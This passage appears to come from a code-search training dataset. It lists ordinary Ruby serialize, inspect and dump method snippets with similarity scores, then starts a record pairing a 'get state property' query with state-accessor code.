[ "def serialize\n end", "def serialize(object) end", "def serialize; end", "def serialize; end", "def serialize\n \n end", "def serialize\n raise NotImplementedError\n end", "def serialize\n raise NotImplementedError\n end", "def dump\r\n super + to_s\r\n end", "def serialize\n self.to_hash.to_json\n end", "def serialized\n serializer_class.new(self).serializable_hash\n end", "def serialize\n @raw_data\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_object_value(\"details\", @details)\n writer.write_string_value(\"identityType\", @identity_type)\n end", "def serialize\n @serializer.serialize(self.output)\n end", "def serialize(_object, data); end", "def serialize(_object, data); end", "def to_json\n\t\t\tself.instance_variable_hash\n\t\tend", "def serializer; end", "def serialize!\n end", "def serialize(object)\n object.serializable_hash\n end", "def serialize(object)\n object.to_s\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_date_time_value(\"createdDateTime\", @created_date_time)\n writer.write_object_value(\"device\", @device)\n writer.write_string_value(\"displayName\", @display_name)\n writer.write_enum_value(\"keyStrength\", @key_strength)\n end", "def marshal\n Marshal.dump self\n end", "def marshal\n Marshal.dump self\n end", "def marshal\n Marshal.dump self\n end", "def inspect\n serialize.to_s\n end", "def serialize\n YAML::dump(self)\n end", "def inspect()\n serialize.to_s()\n end", "def inspect()\n serialize.to_s()\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_object_value(\"accessPackage\", @access_package)\n writer.write_collection_of_object_values(\"answers\", @answers)\n writer.write_object_value(\"assignment\", @assignment)\n writer.write_date_time_value(\"completedDateTime\", @completed_date_time)\n writer.write_date_time_value(\"createdDateTime\", @created_date_time)\n writer.write_collection_of_object_values(\"customExtensionCalloutInstances\", @custom_extension_callout_instances)\n writer.write_enum_value(\"requestType\", @request_type)\n writer.write_object_value(\"requestor\", @requestor)\n writer.write_object_value(\"schedule\", @schedule)\n writer.write_enum_value(\"state\", @state)\n writer.write_string_value(\"status\", @status)\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_object_value(\"initiator\", @initiator)\n writer.write_collection_of_object_values(\"members\", @members)\n writer.write_date_time_value(\"visibleHistoryStartDateTime\", @visible_history_start_date_time)\n end", "def inspect\n fields = serializable_hash.map { |k, v| \"#{k}=#{v}\" }\n \"#<#{self.class.name}:#{object_id} #{fields.join(' ')}>\"\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_collection_of_primitive_values(\"aliases\", @aliases)\n writer.write_collection_of_object_values(\"countriesOrRegionsOfOrigin\", @countries_or_regions_of_origin)\n writer.write_object_value(\"description\", @description)\n writer.write_date_time_value(\"firstActiveDateTime\", @first_active_date_time)\n writer.write_collection_of_object_values(\"indicators\", @indicators)\n writer.write_enum_value(\"kind\", @kind)\n writer.write_object_value(\"summary\", @summary)\n writer.write_collection_of_primitive_values(\"targets\", @targets)\n writer.write_string_value(\"title\", @title)\n writer.write_object_value(\"tradecraft\", @tradecraft)\n end", "def serialize(object, data); end", "def serialize\n JSON.generate(to_h)\n end", "def serialiaze\n Logger.d(\"Serializing the User object\")\n save_to_shared_prefs(@context, self.class, self)\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_object_value(\"cost\", @cost)\n writer.write_object_value(\"life\", @life)\n writer.write_object_value(\"per\", @per)\n writer.write_object_value(\"salvage\", @salvage)\n writer.write_additional_data(@additional_data)\n end", "def inspect\n id_string = (respond_to?(:id) && !id.nil?) ? \" id=#{id}\" : ''\n \"#<#{self.class}:0x#{object_id.to_s(16)}#{id_string}> JSON: \" +\n Clever::JSON.dump(@values, pretty: true)\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_string_value(\"description\", @description)\n writer.write_string_value(\"owner\", @owner)\n writer.write_collection_of_object_values(\"properties\", @properties)\n writer.write_string_value(\"status\", @status)\n writer.write_collection_of_primitive_values(\"targetTypes\", @target_types)\n end", "def write\n hash = attributes_hash\n write_value(serializer_class.dump(hash))\n @_cache = hash # set @_cache after the write\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_string_value(\"appDisplayName\", @app_display_name)\n writer.write_string_value(\"dataType\", @data_type)\n writer.write_boolean_value(\"isSyncedFromOnPremises\", @is_synced_from_on_premises)\n writer.write_string_value(\"name\", @name)\n writer.write_collection_of_primitive_values(\"targetObjects\", @target_objects)\n end", "def instance_to_json\n\t\t# byebug\n\t\t{\n\t\tid: self.id,\n\t\tname: self.name,\n\t\theight: self.height,\n\t\tlast_watered: self.last_watered,\n\t\tlast_watered_amount: self.last_watered_amount,\n\t\tgrow_zone: self.grow_zone,\n\t\tnotes: self.notes,\n\t\tplanted_date: self.planted_date,\n\t\tfarm: self.farm,\t\n\t\tsensor: self.sensor\n\t\t# farm: { \n\t\t# \tfarm: self.farm.name,\n\t\t# \tfarm: self.farm.id,\n\t\t# },\n\t\t}\n\tend", "def _dump(depth)\n scrooge_fetch_remaining\n scrooge_invalidate_updateable_result_set\n scrooge_dump_flag_this\n str = Marshal.dump(self)\n scrooge_dump_unflag_this\n str\n end", "def to_s\n \"#<#{self.class.name}:#{object_id} #{info}>\"\n end", "def to_dump\n @time = Time.now\n Base64.encode64(Marshal.dump(self))\n end", "def dump\n\t\t\t\tflatten!\n\t\t\t\t\n\t\t\t\tMessagePack.dump(@attributes)\n\t\t\tend", "def inspect\n serialize.to_s\n end", "def inspect\n serialize.to_s\n end", "def inspect\n serialize.to_s\n end", "def serialize(options={})\n raise NotImplementedError, \"Please implement this in your concrete class\"\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_object_value(\"apiConnectorConfiguration\", @api_connector_configuration)\n writer.write_collection_of_object_values(\"identityProviders\", @identity_providers)\n writer.write_collection_of_object_values(\"languages\", @languages)\n writer.write_collection_of_object_values(\"userAttributeAssignments\", @user_attribute_assignments)\n writer.write_collection_of_object_values(\"userFlowIdentityProviders\", @user_flow_identity_providers)\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_string_value(\"clientContext\", @client_context)\n writer.write_object_value(\"resultInfo\", @result_info)\n writer.write_enum_value(\"status\", @status)\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_string_value(\"description\", @description)\n writer.write_string_value(\"displayName\", @display_name)\n writer.write_number_value(\"memberCount\", @member_count)\n writer.write_collection_of_object_values(\"members\", @members)\n writer.write_enum_value(\"tagType\", @tag_type)\n writer.write_string_value(\"teamId\", @team_id)\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_date_time_value(\"lastModifiedDateTime\", @last_modified_date_time)\n writer.write_object_value(\"resource\", @resource)\n writer.write_object_value(\"weight\", @weight)\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_string_value(\"comment\", @comment)\n writer.write_date_time_value(\"createdDateTime\", @created_date_time)\n writer.write_date_time_value(\"deletedDateTime\", @deleted_date_time)\n writer.write_string_value(\"displayName\", @display_name)\n writer.write_collection_of_object_values(\"history\", @history)\n writer.write_boolean_value(\"hostOnly\", @host_only)\n writer.write_string_value(\"hostOrDomain\", @host_or_domain)\n writer.write_object_value(\"lastModifiedBy\", @last_modified_by)\n writer.write_date_time_value(\"lastModifiedDateTime\", @last_modified_date_time)\n writer.write_string_value(\"path\", @path)\n writer.write_enum_value(\"sourceEnvironment\", @source_environment)\n writer.write_enum_value(\"status\", @status)\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_string_value(\"category\", @category)\n writer.write_date_time_value(\"firstSeenDateTime\", @first_seen_date_time)\n writer.write_object_value(\"host\", @host)\n writer.write_date_time_value(\"lastSeenDateTime\", @last_seen_date_time)\n writer.write_string_value(\"name\", @name)\n writer.write_string_value(\"version\", @version)\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_object_value(\"large\", @large)\n writer.write_object_value(\"medium\", @medium)\n writer.write_object_value(\"small\", @small)\n writer.write_object_value(\"source\", @source)\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_object_value(\"accessPackage\", @access_package)\n writer.write_enum_value(\"allowedTargetScope\", @allowed_target_scope)\n writer.write_object_value(\"automaticRequestSettings\", @automatic_request_settings)\n writer.write_object_value(\"catalog\", @catalog)\n writer.write_date_time_value(\"createdDateTime\", @created_date_time)\n writer.write_collection_of_object_values(\"customExtensionStageSettings\", @custom_extension_stage_settings)\n writer.write_string_value(\"description\", @description)\n writer.write_string_value(\"displayName\", @display_name)\n writer.write_object_value(\"expiration\", @expiration)\n writer.write_date_time_value(\"modifiedDateTime\", @modified_date_time)\n writer.write_collection_of_object_values(\"questions\", @questions)\n writer.write_object_value(\"requestApprovalSettings\", @request_approval_settings)\n writer.write_object_value(\"requestorSettings\", @requestor_settings)\n writer.write_object_value(\"reviewSettings\", @review_settings)\n writer.write_collection_of_object_values(\"specificAllowedTargets\", @specific_allowed_targets)\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_date_time_value(\"createdDateTime\", @created_date_time)\n writer.write_string_value(\"deviceId\", @device_id)\n writer.write_string_value(\"key\", @key)\n writer.write_enum_value(\"volumeType\", @volume_type)\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_object_value(\"assignedTo\", @assigned_to)\n writer.write_date_time_value(\"closedDateTime\", @closed_date_time)\n writer.write_object_value(\"createdBy\", @created_by)\n writer.write_date_time_value(\"createdDateTime\", @created_date_time)\n writer.write_object_value(\"dataSubject\", @data_subject)\n writer.write_enum_value(\"dataSubjectType\", @data_subject_type)\n writer.write_string_value(\"description\", @description)\n writer.write_string_value(\"displayName\", @display_name)\n writer.write_collection_of_object_values(\"history\", @history)\n writer.write_object_value(\"insight\", @insight)\n writer.write_date_time_value(\"internalDueDateTime\", @internal_due_date_time)\n writer.write_object_value(\"lastModifiedBy\", @last_modified_by)\n writer.write_date_time_value(\"lastModifiedDateTime\", @last_modified_date_time)\n writer.write_collection_of_object_values(\"notes\", @notes)\n writer.write_collection_of_primitive_values(\"regulations\", @regulations)\n writer.write_collection_of_object_values(\"stages\", @stages)\n writer.write_enum_value(\"status\", @status)\n writer.write_object_value(\"team\", @team)\n writer.write_enum_value(\"type\", @type)\n end", "def serializable_hash\n self.attributes\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_date_time_value(\"endDateTime\", @end_date_time)\n writer.write_string_value(\"joinWebUrl\", @join_web_url)\n writer.write_date_time_value(\"lastModifiedDateTime\", @last_modified_date_time)\n writer.write_collection_of_object_values(\"modalities\", @modalities)\n writer.write_object_value(\"organizer\", @organizer)\n writer.write_collection_of_object_values(\"participants\", @participants)\n writer.write_collection_of_object_values(\"sessions\", @sessions)\n writer.write_date_time_value(\"startDateTime\", @start_date_time)\n writer.write_enum_value(\"type\", @type)\n writer.write_object_value(\"version\", @version)\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_object_value(\"axes\", @axes)\n writer.write_object_value(\"dataLabels\", @data_labels)\n writer.write_object_value(\"format\", @format)\n writer.write_object_value(\"height\", @height)\n writer.write_object_value(\"left\", @left)\n writer.write_object_value(\"legend\", @legend)\n writer.write_string_value(\"name\", @name)\n writer.write_collection_of_object_values(\"series\", @series)\n writer.write_object_value(\"title\", @title)\n writer.write_object_value(\"top\", @top)\n writer.write_object_value(\"width\", @width)\n writer.write_object_value(\"worksheet\", @worksheet)\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_string_value(\"description\", @description)\n writer.write_object_value(\"details\", @details)\n writer.write_string_value(\"name\", @name)\n writer.write_enum_value(\"scenarios\", @scenarios)\n end", "def serialize\n JSON.dump(@hash)\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_date_time_value(\"createdDateTime\", @created_date_time)\n writer.write_boolean_value(\"isUsable\", @is_usable)\n writer.write_boolean_value(\"isUsableOnce\", @is_usable_once)\n writer.write_number_value(\"lifetimeInMinutes\", @lifetime_in_minutes)\n writer.write_string_value(\"methodUsabilityReason\", @method_usability_reason)\n writer.write_date_time_value(\"startDateTime\", @start_date_time)\n writer.write_string_value(\"temporaryAccessPass\", @temporary_access_pass)\n end", "def to_s\r\n dump\r\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_object_value(\"callee\", @callee)\n writer.write_object_value(\"caller\", @caller)\n writer.write_date_time_value(\"endDateTime\", @end_date_time)\n writer.write_object_value(\"failureInfo\", @failure_info)\n writer.write_collection_of_object_values(\"media\", @media)\n writer.write_date_time_value(\"startDateTime\", @start_date_time)\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_number_value(\"deviceCount\", @device_count)\n writer.write_string_value(\"displayName\", @display_name)\n writer.write_collection_of_object_values(\"managedDevices\", @managed_devices)\n writer.write_enum_value(\"platform\", @platform)\n writer.write_string_value(\"publisher\", @publisher)\n writer.write_object_value(\"sizeInByte\", @size_in_byte)\n writer.write_string_value(\"version\", @version)\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_string_value(\"description\", @description)\n writer.write_string_value(\"displayName\", @display_name)\n writer.write_collection_of_object_values(\"members\", @members)\n writer.write_string_value(\"roleTemplateId\", @role_template_id)\n writer.write_collection_of_object_values(\"scopedMembers\", @scoped_members)\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_object_value(\"options\", @options)\n writer.write_boolean_value(\"protected\", @protected)\n end", "def serialize(io)\n Encoder.encode(io, self)\n io\n end", "def _dump() end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_object_value(\"authenticationConfiguration\", @authentication_configuration)\n writer.write_object_value(\"clientConfiguration\", @client_configuration)\n writer.write_string_value(\"description\", @description)\n writer.write_string_value(\"displayName\", @display_name)\n writer.write_object_value(\"endpointConfiguration\", @endpoint_configuration)\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_object_value(\"container\", @container)\n writer.write_string_value(\"containerId\", @container_id)\n writer.write_object_value(\"lastModifiedBy\", @last_modified_by)\n writer.write_object_value(\"member\", @member)\n writer.write_string_value(\"memberId\", @member_id)\n writer.write_enum_value(\"outlierContainerType\", @outlier_container_type)\n writer.write_enum_value(\"outlierMemberType\", @outlier_member_type)\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_object_value(\"body\", @body)\n writer.write_date_time_value(\"createdDateTime\", @created_date_time)\n writer.write_string_value(\"imageUrl\", @image_url)\n writer.write_collection_of_object_values(\"indicators\", @indicators)\n writer.write_boolean_value(\"isFeatured\", @is_featured)\n writer.write_date_time_value(\"lastUpdatedDateTime\", @last_updated_date_time)\n writer.write_object_value(\"summary\", @summary)\n writer.write_collection_of_primitive_values(\"tags\", @tags)\n writer.write_string_value(\"title\", @title)\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_date_time_value(\"completedDateTime\", @completed_date_time)\n writer.write_object_value(\"progress\", @progress)\n writer.write_enum_value(\"status\", @status)\n writer.write_string_value(\"storageLocation\", @storage_location)\n writer.write_date_time_value(\"submittedDateTime\", @submitted_date_time)\n writer.write_string_value(\"userId\", @user_id)\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_collection_of_object_values(\"accessPackages\", @access_packages)\n writer.write_enum_value(\"catalogType\", @catalog_type)\n writer.write_date_time_value(\"createdDateTime\", @created_date_time)\n writer.write_collection_of_object_values(\"customWorkflowExtensions\", @custom_workflow_extensions)\n writer.write_string_value(\"description\", @description)\n writer.write_string_value(\"displayName\", @display_name)\n writer.write_boolean_value(\"isExternallyVisible\", @is_externally_visible)\n writer.write_date_time_value(\"modifiedDateTime\", @modified_date_time)\n writer.write_collection_of_object_values(\"resourceRoles\", @resource_roles)\n writer.write_collection_of_object_values(\"resourceScopes\", @resource_scopes)\n writer.write_collection_of_object_values(\"resources\", @resources)\n writer.write_enum_value(\"state\", @state)\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_collection_of_object_values(\"bundles\", @bundles)\n writer.write_string_value(\"driveType\", @drive_type)\n writer.write_collection_of_object_values(\"following\", @following)\n writer.write_collection_of_object_values(\"items\", @items)\n writer.write_object_value(\"list\", @list)\n writer.write_object_value(\"owner\", @owner)\n writer.write_object_value(\"quota\", @quota)\n writer.write_object_value(\"root\", @root)\n writer.write_object_value(\"sharePointIds\", @share_point_ids)\n writer.write_collection_of_object_values(\"special\", @special)\n writer.write_object_value(\"system\", @system)\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_enum_value(\"classification\", @classification)\n writer.write_string_value(\"feature\", @feature)\n writer.write_string_value(\"featureGroup\", @feature_group)\n writer.write_string_value(\"impactDescription\", @impact_description)\n writer.write_boolean_value(\"isResolved\", @is_resolved)\n writer.write_enum_value(\"origin\", @origin)\n writer.write_collection_of_object_values(\"posts\", @posts)\n writer.write_string_value(\"service\", @service)\n writer.write_enum_value(\"status\", @status)\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_collection_of_object_values(\"connectors\", @connectors)\n writer.write_boolean_value(\"hasPhysicalDevice\", @has_physical_device)\n writer.write_boolean_value(\"isShared\", @is_shared)\n writer.write_date_time_value(\"lastSeenDateTime\", @last_seen_date_time)\n writer.write_date_time_value(\"registeredDateTime\", @registered_date_time)\n writer.write_collection_of_object_values(\"shares\", @shares)\n writer.write_collection_of_object_values(\"taskTriggers\", @task_triggers)\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_collection_of_object_values(\"assignments\", @assignments)\n writer.write_date_time_value(\"createdDateTime\", @created_date_time)\n writer.write_string_value(\"description\", @description)\n writer.write_collection_of_object_values(\"deviceStates\", @device_states)\n writer.write_string_value(\"displayName\", @display_name)\n writer.write_string_value(\"informationUrl\", @information_url)\n writer.write_object_value(\"installSummary\", @install_summary)\n writer.write_object_value(\"largeCover\", @large_cover)\n writer.write_date_time_value(\"lastModifiedDateTime\", @last_modified_date_time)\n writer.write_string_value(\"privacyInformationUrl\", @privacy_information_url)\n writer.write_date_time_value(\"publishedDateTime\", @published_date_time)\n writer.write_string_value(\"publisher\", @publisher)\n writer.write_collection_of_object_values(\"userStateSummary\", @user_state_summary)\n end", "def inspect\n attributes = [\n \"name=#{name.inspect}\",\n \"key=#{key.inspect}\",\n \"data_type=#{data_type.inspect}\",\n ]\n \"#<#{self.class.name}:#{object_id} #{attributes.join(', ')}>\"\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_collection_of_object_values(\"assignments\", @assignments)\n writer.write_collection_of_object_values(\"categories\", @categories)\n writer.write_date_time_value(\"createdDateTime\", @created_date_time)\n writer.write_string_value(\"description\", @description)\n writer.write_string_value(\"developer\", @developer)\n writer.write_string_value(\"displayName\", @display_name)\n writer.write_string_value(\"informationUrl\", @information_url)\n writer.write_boolean_value(\"isFeatured\", @is_featured)\n writer.write_object_value(\"largeIcon\", @large_icon)\n writer.write_date_time_value(\"lastModifiedDateTime\", @last_modified_date_time)\n writer.write_string_value(\"notes\", @notes)\n writer.write_string_value(\"owner\", @owner)\n writer.write_string_value(\"privacyInformationUrl\", @privacy_information_url)\n writer.write_string_value(\"publisher\", @publisher)\n writer.write_enum_value(\"publishingState\", @publishing_state)\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_string_value(\"displayName\", @display_name)\n writer.write_enum_value(\"platformType\", @platform_type)\n writer.write_number_value(\"settingCount\", @setting_count)\n writer.write_collection_of_object_values(\"settingStates\", @setting_states)\n writer.write_enum_value(\"state\", @state)\n writer.write_number_value(\"version\", @version)\n end", "def _dump()\n #This is a stub, used for indexing\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_string_value(\"displayName\", @display_name)\n writer.write_string_value(\"templateId\", @template_id)\n writer.write_collection_of_object_values(\"values\", @values)\n end", "def marshal_dump\n { \n :klass => self.class.to_s, \n :values => @attribute_values_flat, \n :joined => @joined_models\n }\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_collection_of_object_values(\"containers\", @containers)\n writer.write_object_value(\"controller\", @controller)\n writer.write_collection_of_object_values(\"ephemeralContainers\", @ephemeral_containers)\n writer.write_collection_of_object_values(\"initContainers\", @init_containers)\n writer.write_object_value(\"labels\", @labels)\n writer.write_string_value(\"name\", @name)\n writer.write_object_value(\"namespace\", @namespace)\n writer.write_object_value(\"podIp\", @pod_ip)\n writer.write_object_value(\"serviceAccount\", @service_account)\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_enum_value(\"detectionStatus\", @detection_status)\n writer.write_object_value(\"imageFile\", @image_file)\n writer.write_string_value(\"mdeDeviceId\", @mde_device_id)\n writer.write_date_time_value(\"parentProcessCreationDateTime\", @parent_process_creation_date_time)\n writer.write_object_value(\"parentProcessId\", @parent_process_id)\n writer.write_object_value(\"parentProcessImageFile\", @parent_process_image_file)\n writer.write_string_value(\"processCommandLine\", @process_command_line)\n writer.write_date_time_value(\"processCreationDateTime\", @process_creation_date_time)\n writer.write_object_value(\"processId\", @process_id)\n writer.write_object_value(\"userAccount\", @user_account)\n end", "def inspect\n self.to_hash.inspect\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_collection_of_object_values(\"administrativeUnits\", @administrative_units)\n writer.write_collection_of_object_values(\"attributeSets\", @attribute_sets)\n writer.write_collection_of_object_values(\"customSecurityAttributeDefinitions\", @custom_security_attribute_definitions)\n writer.write_collection_of_object_values(\"deletedItems\", @deleted_items)\n writer.write_collection_of_object_values(\"federationConfigurations\", @federation_configurations)\n writer.write_collection_of_object_values(\"onPremisesSynchronization\", @on_premises_synchronization)\n end", "def inspect\n \"#<#{self.class}:0x#{object_id.to_s(16)}> JSON: \" +\n JSON.pretty_generate(@data)\n end", "def encode\n raise Errors::SerializerNotConfigured if serializer_missing?\n\n serializer.encode(self)\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n super\n writer.write_string_value(\"activationUrl\", @activation_url)\n writer.write_string_value(\"activitySourceHost\", @activity_source_host)\n writer.write_string_value(\"appActivityId\", @app_activity_id)\n writer.write_string_value(\"appDisplayName\", @app_display_name)\n writer.write_object_value(\"contentInfo\", @content_info)\n writer.write_string_value(\"contentUrl\", @content_url)\n writer.write_date_time_value(\"createdDateTime\", @created_date_time)\n writer.write_date_time_value(\"expirationDateTime\", @expiration_date_time)\n writer.write_string_value(\"fallbackUrl\", @fallback_url)\n writer.write_collection_of_object_values(\"historyItems\", @history_items)\n writer.write_date_time_value(\"lastModifiedDateTime\", @last_modified_date_time)\n writer.write_enum_value(\"status\", @status)\n writer.write_string_value(\"userTimezone\", @user_timezone)\n writer.write_object_value(\"visualElements\", @visual_elements)\n end", "def serialize\n super(ATTR_NAME_ARY)\n end", "def serialize\n super(ATTR_NAME_ARY)\n end", "def serialize\n super(ATTR_NAME_ARY)\n end", "def serialize\n super(ATTR_NAME_ARY)\n end", "def serialize\n super(ATTR_NAME_ARY)\n end", "def serialize(writer)\n raise StandardError, 'writer cannot be null' if writer.nil?\n writer.write_object_value(\"basis\", @basis)\n writer.write_object_value(\"cost\", @cost)\n writer.write_object_value(\"datePurchased\", @date_purchased)\n writer.write_object_value(\"firstPeriod\", @first_period)\n writer.write_object_value(\"period\", @period)\n writer.write_object_value(\"rate\", @rate)\n writer.write_object_value(\"salvage\", @salvage)\n writer.write_additional_data(@additional_data)\n end", "def serialize(writer) \n super\n writer.write_collection_of_primitive_values(\"categories\", @categories)\n writer.write_string_value(\"changeKey\", @change_key)\n writer.write_date_value(\"createdDateTime\", @created_date_time)\n writer.write_date_value(\"lastModifiedDateTime\", @last_modified_date_time)\n end" ]
[ "0.7951372", "0.7645999", "0.7579812", "0.7579812", "0.7440032", "0.720861", "0.720861", "0.7207583", "0.7016516", "0.70007193", "0.6992252", "0.69838214", "0.69723576", "0.69666415", "0.69666415", "0.6942002", "0.69417155", "0.6933786", "0.6913977", "0.6891677", "0.68810964", "0.687664", "0.687664", "0.687664", "0.6875119", "0.68510306", "0.68364877", "0.68364877", "0.6825542", "0.6815931", "0.68061364", "0.68006235", "0.67944074", "0.67717844", "0.67341864", "0.67289317", "0.66964674", "0.66828746", "0.6673492", "0.6668077", "0.6666333", "0.6659732", "0.6656788", "0.66513675", "0.6635875", "0.66275525", "0.66275525", "0.66275525", "0.6627384", "0.66165835", "0.66141444", "0.6611379", "0.6597342", "0.65968686", "0.6594517", "0.6592636", "0.6583964", "0.6580536", "0.65803635", "0.6575503", "0.65716475", "0.65712893", "0.6566952", "0.6560253", "0.65554273", "0.65410006", "0.65378475", "0.65346783", "0.6527361", "0.6525178", "0.65242875", "0.65235287", "0.65174305", "0.65141636", "0.6508169", "0.6499713", "0.6498714", "0.6496881", "0.6486202", "0.6482482", "0.64814615", "0.6479782", "0.6476621", "0.6475453", "0.64677024", "0.64633876", "0.64619535", "0.6461202", "0.6457243", "0.64497435", "0.6439583", "0.6433183", "0.643078", "0.6424316", "0.6420337", "0.6420337", "0.6420337", "0.6420337", "0.6420337", "0.6418776", "0.64156514" ]
0.0
-1
Gets the state property value. Current state of the imported device.
def state return @state end
{ "objective": { "self": [], "paired": [], "triplet": [ [ "query", "document", "negatives" ] ] } }
[ "def state\n self['STATE'].to_i\n end", "def state\n self['STATE'].to_i\n end", "def state\n self['STATE'].to_i\n end", "def state\n self['STATE'].to_i\n end", "def state\n self['STATE'].to_i\n end", "def state\n self['STATE'].to_i\n end", "def state()\n info[:state]\n end", "def state\n @state\n end", "def state\n data[:state]\n end", "def state\n @state\n end", "def state\n info[:state]\n end", "def state\n data.state\n end", "def state\n data.state\n end", "def state\n data['State']\n end", "def state\n status[\"state\"]\n end", "def state\n @__state\n end", "def state\n status.state name\n end", "def state\n @state\n end", "def state\n @current_state\n end", "def state\n ret = request('getState')\n STATE_TO_STR[ ret['statecode'] ]\n end", "def state\n @@states[@state]\n end", "def read_state\n read_vm_option('status').strip.to_sym\n end", "def state\n @state ||= getStateData()\n end", "def state\n return self.endpoint.state(self.id)\n end", "def get_state\n @client.get_state\n end", "def state\n self[:ST]\n end", "def state()\n Fl::Framework::List::ListItem.state_from_db(read_attribute(:state))\n end", "def read_state\n end", "def state\n @gameState.state\n end", "def getDeviceState(info, state)\r\n res = apiGet(\"devices/#{info.deviceId}\")\r\n\r\n succeed = false\r\n \r\n if res.status == 200\r\n response = nil\r\n begin\r\n response = JSON.parse(res.body)\r\n rescue Exception => e \r\n $LOG.warn(\"Invalid body received! Err: #{e.message}\")\r\n end\r\n if !response.nil? and\r\n response.include?(\"als_enabled\") and\r\n response.include?(\"color_hue\") and\r\n response.include?(\"color_saturation\") and\r\n response.include?(\"color_value\")\r\n succeed = true\r\n end\r\n end\r\n changed = false\r\n if succeed\r\n alsEnabled = response[\"als_enabled\"]\r\n color = [response[\"color_hue\"].to_f, response[\"color_saturation\"].to_f, response[\"color_value\"].to_f] \r\n if alsEnabled != state._alsEnabled or color != state.color \r\n state._alsEnabled = alsEnabled\r\n state.color = color\r\n changed = true \r\n end\r\n else\r\n $LOG.warn(\"Failed to get device state from backend! Status: #{res.status}, Response: #{res.body}\")\r\n end\r\n changed\r\n end", "def state\n self.well_info.state\n end", "def device_states\n return @device_states\n end", "def state\n object.state_code\n end", "def state\n # Determine the ID of the state here.\n state_id = nil\n state_id = :not_created if !@driver.uuid\n state_id = @driver.read_state if !state_id\n state_id = :unknown if !state_id\n\n # Translate into short/long descriptions\n short = state_id.to_s.gsub('_', ' ')\n long = I18n.t(\"vagrant_parallels.commands.status.#{state_id}\")\n\n # If machine is not created, then specify the special ID flag\n if state_id == :not_created\n state_id = Vagrant::MachineState::NOT_CREATED_ID\n end\n\n # Return the state\n Vagrant::MachineState.new(state_id, short, long)\n end", "def opened_sensor_activated\n @state = @state.opened\n end", "def state\n State.instance\n end", "def checked_state\n state\n end", "def fetch_sensor_state\n \"#{entry_on}#{inside_on}#{exit_on}#{@beam_broken}\".to_i(2)\n end", "def read_state\n output = execute(\"showvminfo\", @uuid, \"--machinereadable\")\n if output =~ /^name=\"<inaccessible>\"$/\n return :inaccessible\n elsif output =~ /^VMState=\"(.+?)\"$/\n return $1.to_sym\n end\n\n nil\n end", "def state\n \n session[ flow_session_name ].fetch( state_session_name )\n \n end", "def get_state\n return self.state == 't' || self.state == true\n end", "def state\n %w{ OFF ON }[params.valve.cmd]\n end", "def __state_internal\n @state\n end", "def state\n @state.first\n end", "def device_states_get(device_name)\n get \"deviceStates/#{device_name}\"\n end", "def current_state\r\n self.send(self.class.state_column).to_sym\r\n end", "def state\n @game.state\n end", "def state\n states.first\n end", "def C_GetOperationState\n @pk.C_GetOperationState(@sess)\n end", "def state()\n state = PureHailDB.ib_trx_state(@trx_ptr)\n if PureHailDB::TrxState[state] == PureHailDB::TrxState[:IB_TRX_NOT_STARTED]\n 